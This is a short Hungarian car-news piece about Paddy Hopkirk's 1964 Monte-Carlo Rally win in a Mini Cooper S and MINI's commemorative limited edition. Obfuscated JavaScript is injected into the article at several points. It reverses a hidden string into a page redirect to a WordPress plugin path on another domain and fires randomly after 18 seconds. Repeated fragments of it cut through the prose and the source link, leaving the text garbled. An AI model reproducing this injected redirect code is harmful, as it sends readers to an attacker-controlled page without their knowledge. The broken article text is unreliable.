Az év 1964, az autó a Mini Cooper S, a pilóta pedig a harminc éves Patrick Hopkirk (barátainak csak Paddy) Észak-Írországból. A 37-es rajtszámú autó az első Mini, amely megnyeri a Monte-Carlo-ralit. Ezt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}további két győzelem követi ugyanitt 1965-ben és 1967-ben (bár volt ott még egy negyedik is, 1966-ban, amikor az első három helyen célba érő Miniket diszkvalifikálták nem szériakivitelű fényszórójuk miatt), az elsőség azonban Paddyé, így a mostani limitált széria is, amivel az 56 évvel ezelőtti teljesítményt köszönti a MINI. Az autó az indítókulcsán, ajtaján és oldalsó irányjelzőpaneljein egyaránt Hopkirk egykori rajtszámát viseli, a fényezés természetesen piros, fehér tetővel….
A cikk folytatódik: $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/klasszik/2020/09/20/mini-paddy-hopkirk.html" target="_blank">http://autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokalauz.co.hu/klasszik/2020/09/20/mini-paddy-hopkirk.html
- Hirdetés -
